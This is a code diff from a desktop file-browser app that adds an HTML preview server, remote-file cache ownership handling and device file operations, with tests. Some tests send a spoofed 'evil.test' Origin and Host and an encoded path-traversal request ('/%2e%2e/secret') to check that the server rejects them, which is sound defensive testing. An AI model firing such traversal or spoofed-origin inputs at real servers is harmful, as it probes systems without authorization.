+ await fs.writeFile(path.join(dir, 'dist/app.js'), 'changed');
+ const js = await fetch(origin + '/dist/app.js', { headers: { Cookie: cookie } });
+ expect(js.headers.get('content-type')).toBe('text/javascript');
+ expect(await js.text()).toBe('changed');
+ expect((await fetch(origin + '/dist/app.js')).status).toBe(403);
+ expect(
+ (
+ await fetch(origin + '/dist/app.js', {
+ headers: { Cookie: cookie, Origin: 'https://evil.test' },
+ })
+ ).status,
+ ).toBe(403);
+ const badHostStatus = await new Promise<number | undefined>((resolve, reject) => {
+ get(origin + '/dist/app.js', { headers: { Cookie: cookie, Host: 'evil.test' } }, (res) => {
+ res.resume();
+ resolve(res.statusCode);
+ }).on('error', reject);
+ });
+ expect(badHostStatus).toBe(403);
+ expect((await fetch(origin + '/%2e%2e/secret', { headers: { Cookie: cookie } })).status).toBe(
+ 404,
+ );
+ expect(
+ (await fetch(origin + '/index.html', { method: 'POST', headers: { Cookie: cookie } })).status,
+ ).toBe(405);
+ });
+ it('guards cached HTML without rewriting the shared source cache', async () => {
+ const { source, args } = await fixture();
+ const original = await fs.readFile(args.absPath, 'utf8');
+ const preview = await createHtmlPreview(args, {
+ ...source,
+ materialize: async (from) => from,
+ });
+ cleanups.push(preview.close);
+ const entry = await fetch(preview.url, { redirect: 'manual' });
+ const cookie = entry.headers.get('set-cookie')!.split(';')[0];
+ const response = await fetch(new URL('/index.html', preview.url), {
+ headers: { Cookie: cookie },
+ });
+ expect(await response.text()).toBe(withSnapshotHtmlCsp(original));
+ expect(await fs.readFile(args.absPath, 'utf8')).toBe(original);
+ });
+ it('opens without enumerating siblings and isolates failed resource reads', async () => {
+ const { args, source } = await fixture();
+ const read = vi.fn(source.read);
+ const stat = vi.fn(source.stat);
+ const preview = await createHtmlPreview(args, { ...source, stat, read });
+ cleanups.push(preview.close);
+ expect(read).not.toHaveBeenCalled();
+ expect(stat).toHaveBeenCalledTimes(1);
+ expect(stat).toHaveBeenCalledWith(args.workdir, 'index.html');
+ const initial = await fetch(preview.url, { redirect: 'manual' });
+ const cookie = initial.headers.get('set-cookie')!.split(';')[0];
+ const load = (p: string) => fetch(new URL(p, preview.url), { headers: { cookie } });
+ read.mockRejectedValueOnce(new Error('offline'));
+ expect((await load('/dist/app.js')).status).toBe(502);
+ expect((await load('/index.html')).status).toBe(200);
+ stat.mockResolvedValueOnce({ relPath: 'huge.bin', type: 'file', size: 101 * 1024 * 1024, mtimeMs: 0 });
+ expect((await load('/huge.bin')).status).toBe(404);
+ expect(read).toHaveBeenLastCalledWith(args.workdir, expect.objectContaining({ relPath: 'huge.bin' }), expect.any(AbortSignal));
+ expect((await load('/index.html')).status).toBe(200);
+ read.mockClear();
+ expect((await load('/.hidden/secret')).status).toBe(404);
+ expect(read).not.toHaveBeenCalled();
+ stat.mockResolvedValueOnce({ relPath: '../secret', type: 'file', size: 1, mtimeMs: 0 });
+ expect((await load('/other.txt')).status).toBe(404);
+ expect(read).not.toHaveBeenCalled();
+ });
+ it('keeps Windows remote roots separate from the controller OS and confines SSH', () => {
+ expect(
+ previewLocation({
+ origin: { kind: 'device', deviceId: 'device' },
+ workdir: 'C:\\repo',
+ absPath: 'C:\\repo\\out\\index.html',
+ }),
+ ).toEqual({ root: 'C:\\repo\\out', entry: 'index.html' });
+ expect(() =>
+ previewLocation({
+ origin: { kind: 'ssh', remoteHostId: 'ssh' },
+ workdir: '/repo',
+ absPath: '/outside/index.html',
+ }),
+ ).toThrow('OUTSIDE_WORKDIR');
+ });
+});
+
+
+it('closes promptly and discards a shared read that finishes after cancellation', async () => {
+ const { args, source } = await fixture();
+ let finish!: (path: string) => void;
+ let signal: AbortSignal | undefined;
+ const materialize = vi.fn(source.materialize);
+ const read = vi.fn((_root, _entry, currentSignal) => {
+ signal = currentSignal;
+ return new Promise<string>((resolve) => { finish = resolve; });
+ });
+ const preview = await createHtmlPreview(args, { ...source, read, materialize });
+ cleanups.push(preview.close);
+ const initial = await fetch(preview.url, { redirect: 'manual' });
+ const cookie = initial.headers.get('set-cookie')!.split(';')[0];
+ const response = fetch(new URL('/index.html', preview.url), { headers: { cookie } }).catch(() => null);
+ await vi.waitFor(() => expect(read).toHaveBeenCalledOnce());
+ await preview.close();
+ expect(signal?.aborted).toBe(true);
+ finish(args.absPath);
+ await response;
+ await new Promise((resolve) => setTimeout(resolve, 10));
+ expect(materialize).not.toHaveBeenCalled();
+});
+
+it('serves metadata for a resource above 100 MiB without a preview size rejection', async () => {
+ const { dir, args, source } = await fixture();
+ const file = path.join(dir, 'large.bin');
+ await fs.writeFile(file, '');
+ await fs.truncate(file, 101 * 1024 * 1024);
+ const preview = await createHtmlPreview(args, { ...source, materialize: async (from) => from });
+ cleanups.push(preview.close);
+ const initial = await fetch(preview.url, { redirect: 'manual' });
+ const cookie = initial.headers.get('set-cookie')!.split(';')[0];
+ const response = await fetch(new URL('/large.bin', preview.url), { method: 'HEAD', headers: { cookie } });
+ expect(response.status).toBe(200);
+ expect(Number(response.headers.get('content-length'))).toBe(101 * 1024 * 1024);
+});
+
+it('serializes resource copies so one preview cannot overlap 2 GiB materializations', async () => {
+ const { dir, args, source } = await fixture();
+ await fs.writeFile(path.join(dir, 'other.bin'), 'payload');
+ let active = 0;
+ let maxActive = 0;
+ const materialize = vi.fn(async (from: string, to: string) => {
+ active += 1;
+ maxActive = Math.max(maxActive, active);
+ await new Promise((resolve) => setTimeout(resolve, 40));
+ active -= 1;
+ await fs.copyFile(from, to);
+ return to;
+ });
+ const preview = await createHtmlPreview(args, { ...source, materialize });
+ cleanups.push(preview.close);
+ const initial = await fetch(preview.url, { redirect: 'manual' });
+ const cookie = initial.headers.get('set-cookie')!.split(';')[0];
+ const load = (p: string) => fetch(new URL(p, preview.url), { headers: { cookie } });
+ const [html, other, repeat] = await Promise.all([
+ load('/index.html'),
+ load('/other.bin'),
+ load('/index.html?i=1'),
+ ]);
+ expect(html.status).toBe(200);
+ expect(other.status).toBe(200);
+ expect(repeat.status).toBe(200);
+ expect(maxActive).toBe(1);
+ expect(materialize).toHaveBeenCalledTimes(2);
+});
diff --git a/apps/desktop/src/main/file-browser/__tests__/remoteFileCacheOwner.test.ts b/apps/desktop/src/main/file-browser/__tests__/remoteFileCacheOwner.test.ts
new file mode 100644
index 0000000000..a5e4642c24
--- /dev/null
+++ b/apps/desktop/src/main/file-browser/__tests__/remoteFileCacheOwner.test.ts
@@ -0,0 +1,120 @@
+import fs from 'node:fs/promises';
+import os from 'node:os';
+import path from 'node:path';
+import { randomUUID } from 'node:crypto';
+import { afterEach, expect, it, vi } from 'vitest';
+
+const state = vi.hoisted(() => ({ scope: 'owner-a:1' }));
+const userDataDir = path.join(os.tmpdir(), `remote-cache-owner-${randomUUID()}`);
+vi.mock('electron', () => ({ app: { getPath: () => userDataDir } }));
+vi.mock('../../appSessionState.js', () => ({
+ activeOwnerScopeKey: () => state.scope,
+ dataOwnerStorageKey: (id: string) => id,
+}));
+vi.mock('../../logger.js', () => ({
+ createLogger: () => ({ debug: vi.fn(), warn: vi.fn(), info: vi.fn() }),
+}));
+const { fetchRemoteFileToCache, findStaleCached, putCachedContent, getRemoteFileCacheRoot } =
+ await import('../remote-file-cache');
+const id = {
+ transport: 'device' as const,
+ endpointId: 'device',
+ workdir: '/repo',
+ relPath: 'a.txt',
+ size: 3,
+ mtimeMs: 1,
+};
+afterEach(async () => {
+ vi.restoreAllMocks();
+ state.scope = 'owner-a:1';
+ await fs.rm(userDataDir, { recursive: true, force: true });
+});
+
+it('cancels the download and coalesced waiter after an owner switch, removing staging bytes', async () => {
+ let release!: () => void;
+ let started!: () => void;
+ const ready = new Promise<void>((resolve) => {
+ started = resolve;
+ });
+ const pause = new Promise<void>((resolve) => {
+ release = resolve;
+ });
+ const progress = vi.fn();
+ const executor = vi.fn(async (dest: string) => {
+ await fs.writeFile(dest, 'old');
+ started();
+ await pause;
+ });
+ const first = fetchRemoteFileToCache(id, executor, progress);
+ await ready;
+ const second = fetchRemoteFileToCache(id, executor, progress);
+ const settled = Promise.allSettled([first, second]);
+ state.scope = 'owner-b:2';
+ release();
+ for (const result of await settled) {
+ expect(result.status).toBe('rejected');
+ if (result.status === 'rejected') expect(result.reason.message).toBe('FILE_PEER_CANCELLED');
+ }
+ expect(executor).toHaveBeenCalledTimes(1);
+ expect(progress).not.toHaveBeenCalled();
+ expect(await fs.readdir(getRemoteFileCacheRoot())).toEqual([]);
+});
+
+it('cancels the shared executor only after the last consumer releases it', async () => {
+ const firstController = new AbortController();
+ const secondController = new AbortController();
+ let release!: () => void;
+ const pause = new Promise<void>((resolve) => { release = resolve; });
+ let transferSignal!: AbortSignal;
+ const executor = vi.fn(async (dest: string, _progress: unknown, signal?: AbortSignal) => {
+ transferSignal = signal!;
+ await fs.writeFile(dest, 'old');
+ await pause;
+ });
+ const first = fetchRemoteFileToCache(id, executor, vi.fn(), firstController.signal);
+ await vi.waitFor(() => expect(executor).toHaveBeenCalledOnce());
+ const second = fetchRemoteFileToCache(id, executor, vi.fn(), secondController.signal);
+ firstController.abort();
+ await expect(first).rejects.toThrow('FILE_PEER_CANCELLED');
+ expect(transferSignal.aborted).toBe(false);
+ secondController.abort();
+ await expect(second).rejects.toThrow('FILE_PEER_CANCELLED');
+ expect(transferSignal.aborted).toBe(true);
+ release();
+ await expect(Promise.allSettled([first, second])).resolves.toHaveLength(2);
+});
+
+it('does not return a cache hit or report progress when ownership changes during touch', async () => {
+ await putCachedContent(id, 'old');
+ vi.spyOn(fs, 'utimes').mockImplementationOnce(async () => {
+ state.scope = 'owner-b:2';
+ });
+ const executor = vi.fn();
+ const progress = vi.fn();
+ await expect(fetchRemoteFileToCache(id, executor, progress)).rejects.toThrow(
+ 'FILE_PEER_CANCELLED',
+ );
+ expect(executor).not.toHaveBeenCalled();
+ expect(progress).not.toHaveBeenCalled();
+});
+
+it('does not return a stale cache path after an owner switch during lookup', async () => {
+ await putCachedContent(id, 'old');
+ const stat = fs.stat.bind(fs);
+ vi.spyOn(fs, 'stat').mockImplementationOnce((async (...args: Parameters<typeof fs.stat>) => {
+ const result = await stat(...args);
+ state.scope = 'owner-b:2';
+ return result;
+ }) as typeof fs.stat);
+ await expect(findStaleCached(id)).rejects.toThrow('FILE_PEER_CANCELLED');
+});
+
+it('discards write-through bytes when ownership changes during the write', async () => {
+ const write = fs.writeFile.bind(fs);
+ vi.spyOn(fs, 'writeFile').mockImplementationOnce(async (...args) => {
+ await write(...args);
+ state.scope = 'owner-b:2';
+ });
+ await putCachedContent(id, 'old');
+ expect(await fs.readdir(getRemoteFileCacheRoot())).toEqual([]);
+});
diff --git a/apps/desktop/src/main/file-browser/__tests__/sshMedia.test.ts b/apps/desktop/src/main/file-browser/__tests__/sshMedia.test.ts
index 584e4e2b10..802bcce9e0 100644
--- a/apps/desktop/src/main/file-browser/__tests__/sshMedia.test.ts
+++ b/apps/desktop/src/main/file-browser/__tests__/sshMedia.test.ts
@@ -281,6 +281,23 @@ describe('materializeSshRemoteMedia — baseDir / maxBytes 约束', () => {
expect(fetchToCache).not.toHaveBeenCalled();
});
+ it('on-demand HTML 入口文档允许 .html', async () => {
+ const fetchToCache = vi.fn(async () => {
+ const p = path.join(tmpDir, 'cached.html');
+ await writeFile(p, '<h1>ok</h1>');
+ return p;
+ });
+ const deps: SshMediaDeps = {
+ request: vi.fn(async () => ({ type: 'file', size: 9, mtimeMs: 1 })) as unknown as SshMediaDeps['request'],
+ fetchToCache: fetchToCache as unknown as SshMediaDeps['fetchToCache'],
+ };
+ const r = await materializeSshRemoteMedia(origin, urlFor('/home/u/proj/out/index.html'), deps, {
+ baseDir: '/home/u/proj/out',
+ });
+ expect(r.ok).toBe(true);
+ expect(fetchToCache).toHaveBeenCalledTimes(1);
+ });
+
it('maxBytes 内 → 正常拉取', async () => {
const { deps, fetchToCache } = makeDeps(1024);
const r = await materializeSshRemoteMedia(origin, urlFor('/home/u/proj/out/a.css'), deps, {
diff --git a/apps/desktop/src/main/file-browser/chat-file.ts b/apps/desktop/src/main/file-browser/chat-file.ts
index 1dc04a37d5..49b16538b9 100644
--- a/apps/desktop/src/main/file-browser/chat-file.ts
+++ b/apps/desktop/src/main/file-browser/chat-file.ts
@@ -1,3 +1,4 @@
+import { copyFile, writeFile } from 'node:fs/promises';
/**
* chat-file.ts — 聊天流文件类交互的远程取回编排(`maker:chat-file:fetch` 的业务体)。
* ---------------------------------------------------------------------------
@@ -31,8 +32,7 @@ export { toWorkdirRel } from '../../shared/workdirPath.js';
/** 聊天文件取回的远程来源(local 不进本模块——renderer 侧直接走本机路径)。 */
export type ChatFileOrigin =
- | { kind: 'device'; deviceId: string }
- | { kind: 'ssh'; remoteHostId: string };
+ { kind: 'device'; deviceId: string } | { kind: 'ssh'; remoteHostId: string };
export interface ChatFileFetchArgs {
origin: ChatFileOrigin;
@@ -48,7 +48,11 @@ export interface ChatFileFetchArgs {
*/
export type ChatFileFetchResult =
| { ok: true; cachePath: string; stale: boolean; size: number }
- | { ok: false; code: 'BAD_ARGS' | 'OUTSIDE_WORKDIR' | 'NOT_FOUND' | 'FETCH_FAILED'; message?: string };
+ | {
+ ok: false;
+ code: 'BAD_ARGS' | 'OUTSIDE_WORKDIR' | 'NOT_FOUND' | 'FETCH_FAILED';
+ message?: string;
+ };
/** 远端 stat 结果(file-service 与 device-op statEntry 同形投影)。 */
export interface ChatFileStat {
@@ -76,7 +80,13 @@ export interface ChatFileDeps {
onProgress: FetchProgressFn,
): Promise<string>;
/** device workdir 外:被控端 media:fetch(任意绝对路径上 OSS)。 */
- deviceMediaFetch(deviceId: string, url: string): Promise<{ ossKey: string; size: number }>;
+ deviceMediaFetch(
+ deviceId: string,
+ url: string,
+ ): Promise<
+ | { ossKey: string; size: number; inlineBase64?: string }
+ | { ossKey: string; size: number; path: string; dispose(): Promise<void> }
+ >;
/** OSS 对象流式直下到本地文件。 */
downloadToFile(
key: string,
@@ -153,6 +163,8 @@ async function staleFallback(
id: Pick<RemoteFileIdentity, 'transport' | 'endpointId' | 'workdir' | 'relPath'>,
err: unknown,
): Promise<ChatFileFetchResult> {
+ if (String(err).includes('FILE_PEER_CANCELLED'))
+ return { ok: false, code: 'FETCH_FAILED', message: String(err) };
const stalePath = await deps.findStale(id).catch(() => null);
if (stalePath) return { ok: true, cachePath: stalePath, stale: true, size: -1 };
return { ok: false, code: 'FETCH_FAILED', message: String(err) };
@@ -201,12 +213,22 @@ export async function fetchChatFile(
if (stat.type !== 'file') return { ok: false, code: 'NOT_FOUND' };
try {
const cachePath = await deps.fetchBigFile(
- { workdir, relPath, size: stat.size, mtimeMs: stat.mtimeMs, remoteHostId: origin.remoteHostId },
+ {
+ workdir,
+ relPath,
+ size: stat.size,
+ mtimeMs: stat.mtimeMs,
+ remoteHostId: origin.remoteHostId,
+ },
onProgress,
);
return { ok: true, cachePath, stale: false, size: stat.size };
} catch (err) {
- return staleFallback(deps, { transport: 'ssh', endpointId: origin.remoteHostId, workdir, relPath }, err);
+ return staleFallback(
+ deps,
+ { transport: 'ssh', endpointId: origin.remoteHostId, workdir, relPath },
+ err,
+ );
}
}
@@ -234,7 +256,11 @@ export async function fetchChatFile(
);
return { ok: true, cachePath, stale: false, size: stat.size };
} catch (err) {
- return staleFallback(deps, { transport: 'device', endpointId: origin.deviceId, workdir, relPath }, err);
+ return staleFallback(
+ deps,
+ { transport: 'device', endpointId: origin.deviceId, workdir, relPath },
+ err,
+ );
}
}
@@ -259,6 +285,22 @@ export async function fetchChatFile(
let consumed = false;
try {
const fetched = await deps.deviceMediaFetch(origin.deviceId, buildDevicePathUrl(absPath));
+ if ('path' in fetched || fetched.inlineBase64 !== undefined) {
+ try {
+ const cachePath = await deps.fetchToCache(
+ { ...identity, size: fetched.size },
+ async (dest, progress) => {
+ if ('path' in fetched) await copyFile(fetched.path, dest);
+ else await writeFile(dest, Buffer.from(fetched.inlineBase64!, 'base64'));
+ progress(fetched.size, fetched.size);
+ },
+ onProgress,
+ );
+ return { ok: true, cachePath, stale: false, size: fetched.size };
+ } finally {
+ if ('path' in fetched) await fetched.dispose();
+ }
+ }
uploadedKey = fetched.ossKey;
const cachePath = await deps.fetchToCache(
{ ...identity, size: fetched.size },
diff --git a/apps/desktop/src/main/file-browser/device-op.ts b/apps/desktop/src/main/file-browser/device-op.ts
index f48a84e8a6..38dad03d3a 100644
--- a/apps/desktop/src/main/file-browser/device-op.ts
+++ b/apps/desktop/src/main/file-browser/device-op.ts
@@ -155,12 +155,16 @@ interface RemoteOpArgs {
/** readFile:控制端声明可接受 gzip 编码返回(老被控端忽略此字段,无害)。 */
acceptGzip?: boolean;
hideMetaFiles?: boolean;
+ includeIgnored?: boolean;
+ maxEntries?: number;
docMode?: boolean;
cap?: number;
query?: string;
caseSensitive?: boolean;
maxMatches?: number;
transferId?: string;
+ /** Optional export budget; omitted by older controllers. */
+ maxBytes?: number;
}
/** 该 workdir 在被控端的执行位置:本地 fs、二跳到 SSH remote host,或歧义拒绝。 */
@@ -196,7 +200,10 @@ async function resolveWorkdirExecution(
sshHosts = rows.map((r) => r.remoteHostId).filter((h): h is string => !!h);
} catch (err) {
log.warn('workdir execution lookup failed', { error: String(err) });
- if (!localProbe.allowed && (localProbe.reason === 'timeout' || localProbe.reason === 'unavailable')) {
+ if (
+ !localProbe.allowed &&
+ (localProbe.reason === 'timeout' || localProbe.reason === 'unavailable')
+ ) {
return { kind: 'unavailable', reason: localProbe.reason };
}
// 查询失败:退回本地语义(与旧行为一致);明确不存在时由底层返回可读错误。
@@ -216,7 +223,10 @@ async function resolveWorkdirExecution(
}
if (isLocalDir) return { kind: 'local' };
if (sshHosts.length === 1) return { kind: 'ssh', hostId: sshHosts[0] };
- if (!localProbe.allowed && (localProbe.reason === 'timeout' || localProbe.reason === 'unavailable')) {
+ if (
+ !localProbe.allowed &&
+ (localProbe.reason === 'timeout' || localProbe.reason === 'unavailable')
+ ) {
return { kind: 'unavailable', reason: localProbe.reason };
}
return { kind: 'local' };
@@ -261,7 +271,12 @@ function setExportJobTerminal(transferId: string, job: ExportJob): void {
async function sshSearchCollect(
hostId: string,
q: { workdir: string; query: string; caseSensitive: boolean; maxMatches: number },
-): Promise<{ matches: SearchMatch[]; truncated: boolean; totalMatches: number; totalFiles: number }> {
+): Promise<{
+ matches: SearchMatch[];
+ truncated: boolean;
+ totalMatches: number;
+ totalFiles: number;
+}> {
const mgr = getRemoteFileBrowser();
const matches: SearchMatch[] = [];
return await new Promise((resolve, reject) => {
@@ -271,7 +286,11 @@ async function sshSearchCollect(
// 拿到 id 后过滤回放(与 search/index.ts 远程通路同一教训)——否则秒回/
// 空结果的嵌套搜索会丢 end,干等 20s 超时。
const buffered: SearchEvent[] = [];
- const finish = (payload: { truncated: boolean; totalMatches: number; totalFiles: number }): void => {
+ const finish = (payload: {
+ truncated: boolean;
+ totalMatches: number;
+ totalFiles: number;
+ }): void => {
if (settled) return;
settled = true;
off();
@@ -283,7 +302,11 @@ async function sshSearchCollect(
if (data.type === 'match') {
matches.push(data);
} else if (data.type === 'end') {
- finish({ truncated: data.truncated, totalMatches: data.totalMatches, totalFiles: data.totalFiles });
+ finish({
+ truncated: data.truncated,
+ totalMatches: data.totalMatches,
+ totalFiles: data.totalFiles,
+ });
} else {
settled = true;
off();
@@ -336,7 +359,12 @@ function localSearchCollect(q: {
query: string;
caseSensitive: boolean;
maxMatches: number;
-}): Promise<{ matches: SearchMatch[]; truncated: boolean; totalMatches: number; totalFiles: number }> {
+}): Promise<{
+ matches: SearchMatch[];
+ truncated: boolean;
+ totalMatches: number;
+ totalFiles: number;
+}> {
const searcher = new RipgrepSearcher({ rgPath: getRipgrepBinaryPath(), logger: log });
const matches: SearchMatch[] = [];
return new Promise((resolve, reject) => {
@@ -344,7 +372,12 @@ function localSearchCollect(q: {
if (evt.type === 'match') {
matches.push(evt);
} else if (evt.type === 'end') {
- resolve({ matches, truncated: evt.truncated, totalMatches: evt.totalMatches, totalFiles: evt.totalFiles });
+ resolve({
+ matches,
+ truncated: evt.truncated,
+ totalMatches: evt.totalMatches,
+ totalFiles: evt.totalFiles,
+ });
} else {
reject(new Error(evt.message));
}
@@ -365,7 +398,12 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
// 这个分支,会走到 default 返回 `unknown op: caps`——控制端把它当确定性
// 的"不支持压缩"信号(见 fileBrowserTransport 的 caps 缓存)。
if (args.op === 'caps') {
- return { ok: true as const, gzip: true as const };
+ return {
+ ok: true as const,
+ gzip: true as const,
+ completeDirectoryListing: true as const,
+ fileRead: true as const,
+ };
}
const guardResult = await checkRemoteWorkingDir(args.workdir);
if (!guardResult.allowed && guardResult.reason === 'invalid') {
@@ -427,12 +465,17 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
relPath: args.relPath ?? '',
hideMetaFiles: args.hideMetaFiles ?? true,
docMode: args.docMode,
+ includeIgnored: args.includeIgnored,
+ maxEntries: args.maxEntries,
});
return entries;
}
case 'readFile': {
try {
- const data = await mgr.request(hostId, 'readFile', { workdir, relPath: args.relPath ?? '' });
+ const data = await mgr.request(hostId, 'readFile', {
+ workdir,
+ relPath: args.relPath ?? '',
+ });
return await encodeReadFileResult(data, args.acceptGzip);
} catch (err) {
const code = (err as Error & { code?: string }).code;
@@ -451,9 +494,15 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
return { ok: true as const, ...r };
}
case 'createFile':
- return { ok: true as const, stat: await mgr.request(hostId, 'createFile', { workdir, relPath: args.relPath ?? '' }) };
+ return {
+ ok: true as const,
+ stat: await mgr.request(hostId, 'createFile', { workdir, relPath: args.relPath ?? '' }),
+ };
case 'createFolder':
- return { ok: true as const, stat: await mgr.request(hostId, 'createFolder', { workdir, relPath: args.relPath ?? '' }) };
+ return {
+ ok: true as const,
+ stat: await mgr.request(hostId, 'createFolder', { workdir, relPath: args.relPath ?? '' }),
+ };
case 'renameEntry':
return {
ok: true as const,
@@ -470,19 +519,27 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
return mgr.request(hostId, 'listAllFiles', { workdir, cap: args.cap });
case 'exportFileStart':
case 'exportFileStatus':
+ case 'fileUrl':
// 嵌套(device-link 套 SSH)的大文件导出要先经 daemon 分片拉回被控端再
// 上传 OSS,本期不做——控制端对嵌套会话维持 OVERSIZE 占位。
return bad('exportFile is not supported for nested SSH workdirs yet');
case 'thumbnail':
// 嵌套 SSH 的缩略图要先分片拉回原图再缩放,成本与收益不成比例,本期
// 不做——控制端(手机网格)对嵌套会话回退类型占位图。
- return { ok: false as const, code: 'THUMB_UNSUPPORTED' as const, message: 'nested SSH workdir' };
+ return {
+ ok: false as const,
+ code: 'THUMB_UNSUPPORTED' as const,
+ message: 'nested SSH workdir',
+ };
case 'searchCollect':
return sshSearchCollect(hostId, {
workdir,
query: args.query ?? '',
caseSensitive: args.caseSensitive === true,
- maxMatches: Math.min(args.maxMatches ?? SEARCH_COLLECT_MAX_MATCHES, SEARCH_COLLECT_MAX_MATCHES),
+ maxMatches: Math.min(
+ args.maxMatches ?? SEARCH_COLLECT_MAX_MATCHES,
+ SEARCH_COLLECT_MAX_MATCHES,
+ ),
});
default:
return bad(`unknown op: ${args.op}`);
@@ -491,12 +548,28 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
// —— 本地执行(被控端自身 fs)——
switch (args.op) {
+ case 'fileUrl': {
+ const relPath = args.relPath ?? '';
+ const st = await statEntry(workdir, relPath);
+ if (st.type !== 'file') return bad('not a file');
+ const url = new URL('xdt-file://open');
+ url.searchParams.set('path', path.resolve(workdir, relPath));
+ url.searchParams.set('baseDir', workdir);
+ url.searchParams.set('maxBytes', String(Math.max(1, st.size)));
+ return { ok: true, url: url.toString(), size: st.size, mtimeMs: st.mtimeMs };
+ }
case 'listDir': {
- const matcher = await loadIgnoreMatcher(workdir, {
- hideMetaFiles: args.hideMetaFiles ?? true,
- honorVcsIgnore: false,
+ const matcher =
+ args.includeIgnored === true
+ ? null
+ : await loadIgnoreMatcher(workdir, {
+ hideMetaFiles: args.hideMetaFiles ?? true,
+ honorVcsIgnore: false,
+ });
+ return listDir(workdir, args.relPath ?? '', matcher, {
+ docMode: args.includeIgnored === true ? false : args.docMode,
+ maxEntries: args.maxEntries,
});
- return listDir(workdir, args.relPath ?? '', matcher, { docMode: args.docMode });
}
case 'readFile': {
try {
@@ -534,7 +607,10 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
}
case 'renameEntry': {
try {
- return { ok: true as const, stat: await renameEntry(workdir, args.fromRel ?? '', args.toRel ?? '') };
+ return {
+ ok: true as const,
+ stat: await renameEntry(workdir, args.fromRel ?? '', args.toRel ?? ''),
+ };
} catch (err) {
return bad(String(err));
}
@@ -560,6 +636,9 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
try {
const relPath = args.relPath ?? '';
const st = await statEntry(workdir, relPath);
+ if (args.maxBytes !== undefined && st.size > args.maxBytes) {
+ return bad('REMOTE_FILE_TOO_LARGE');
+ }
const abs = path.resolve(workdir, relPath);
const realAbs = await fsp.realpath(abs);
const realRoot = await fsp.realpath(workdir);
@@ -569,13 +648,19 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
const transferId = `exp_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 8)}`;
exportJobs.set(transferId, { state: 'uploading', size: st.size, uploaded: 0 });
void uploadLocalFile(realAbs, {
+ ...(args.maxBytes !== undefined ? { maxBytes: args.maxBytes } : {}),
onProgress: (uploadedBytes) => {
const j = exportJobs.get(transferId);
if (j && j.state === 'uploading') j.uploaded = uploadedBytes;
},
})
.then((up) => {
- setExportJobTerminal(transferId, { state: 'done', key: up.key, size: up.size, uploaded: up.size });
+ setExportJobTerminal(transferId, {
+ state: 'done',
+ key: up.key,
+ size: up.size,
+ uploaded: up.size,
+ });
})
.catch((err) => {
// 回包用 message 而非 String(err):这条会原样显示在控制端(手机预览页)
@@ -584,7 +669,12 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
const message = err instanceof Error ? err.message || err.name : String(err);
// 日志单独带原始 error(stack 与 cause 链都要留着排障),不跟着回包降级成字符串。
log.warn('exportFile upload failed', { transferId }, err);
- setExportJobTerminal(transferId, { state: 'error', message, size: st.size, uploaded: 0 });
+ setExportJobTerminal(transferId, {
+ state: 'error',
+ message,
+ size: st.size,
+ uploaded: 0,
+ });
});
return { ok: true as const, transferId, size: st.size, mtimeMs: st.mtimeMs };
} catch (err) {
@@ -609,7 +699,10 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
workdir,
query: args.query ?? '',
caseSensitive: args.caseSensitive === true,
- maxMatches: Math.min(args.maxMatches ?? SEARCH_COLLECT_MAX_MATCHES, SEARCH_COLLECT_MAX_MATCHES),
+ maxMatches: Math.min(
+ args.maxMatches ?? SEARCH_COLLECT_MAX_MATCHES,
+ SEARCH_COLLECT_MAX_MATCHES,
+ ),
});
case 'thumbnail': {
// 图片缩略图(手机网格视图):路径安全与 exportFileStart 同源
@@ -618,7 +711,8 @@ async function handleRemoteOp(args: RemoteOpArgs): Promise<unknown> {
try {
const relPath = args.relPath ?? '';
const st = await statEntry(workdir, relPath);
- if (st.type !== 'file') return { ok: false as const, code: 'THUMB_FAILED' as const, message: 'not a file' };
+ if (st.type !== 'file')
+ return { ok: false as const, code: 'THUMB_FAILED' as const, message: 'not a file' };
const abs = path.resolve(workdir, relPath);
const realAbs = await fsp.realpath(abs);
const realRoot = await fsp.realpath(workdir);
@@ -671,8 +765,7 @@ function isSameOwnerStamp(
right: PushOwnerStamp | undefined,
): boolean {
return (
- left?.dataOwnerId === right?.dataOwnerId &&
- left?.ownerGeneration === right?.ownerGeneration
+ left?.dataOwnerId === right?.dataOwnerId && left?.ownerGeneration === right?.ownerGeneration
);
}
@@ -692,7 +785,11 @@ async function startFsWatchIfDesired(workdir: string): Promise<void> {
// 双双通过 has 检查——SSH 嵌套分支就会重复注册 onHostEvent/onHostConnected,
// 第二次 sshWatchOffs.set 覆盖第一对 off,泄漏的监听让 fileTree 事件双份转发、
// released 后仍随重连反复 watchStart。同步占位挡掉并发进入。
- if (localWatchWorkdirs.has(workdir) || sshWatchOffs.has(workdir) || fsWatchStarting.has(workdir)) {
+ if (
+ localWatchWorkdirs.has(workdir) ||
+ sshWatchOffs.has(workdir) ||
+ fsWatchStarting.has(workdir)
+ ) {
return;
}
const token = Symbol(workdir);
@@ -731,7 +828,10 @@ async function onFsWatchSubscribedInner(workdir: string, token: symbol): Promise
return;
}
if (exec.kind === 'ambiguous') {
- log.warn('device fs-watch skipped: workdir endpoint ambiguous', { workdir, reason: exec.reason });
+ log.warn('device fs-watch skipped: workdir endpoint ambiguous', {
+ workdir,
+ reason: exec.reason,
+ });
return;
}
if (exec.kind === 'local' && !guardResult.allowed) {
diff --git a/apps/desktop/src/main/file-browser/html-preview-ipc.ts b/apps/desktop/src/main/file-browser/html-preview-ipc.ts
new file mode 100644
index 0000000000..4066067417
--- /dev/null
+++ b/apps/desktop/src/main/file-browser/html-preview-ipc.ts
@@ -0,0 +1,144 @@
+import { ipcMain } from 'electron';
+import fs from 'node:fs/promises';
+import path from 'node:path';
+import { statEntry, type DirEntry } from '@cindy/file-browser-core';
+import {
+ createHtmlPreview,
+ copyPreviewFile,
+ previewLocation,
+ type HtmlPreviewArgs,
+} from './html-preview.js';
+import { assertTrustedAppRendererEvent } from '../security/trustedAppRenderer.js';
+import { getSensitiveMediaBlocklist, isPathAllowedAgainst } from '../filePathPolicy.js';
+import { ingestMedia } from '../cindy-media/ingest.js';
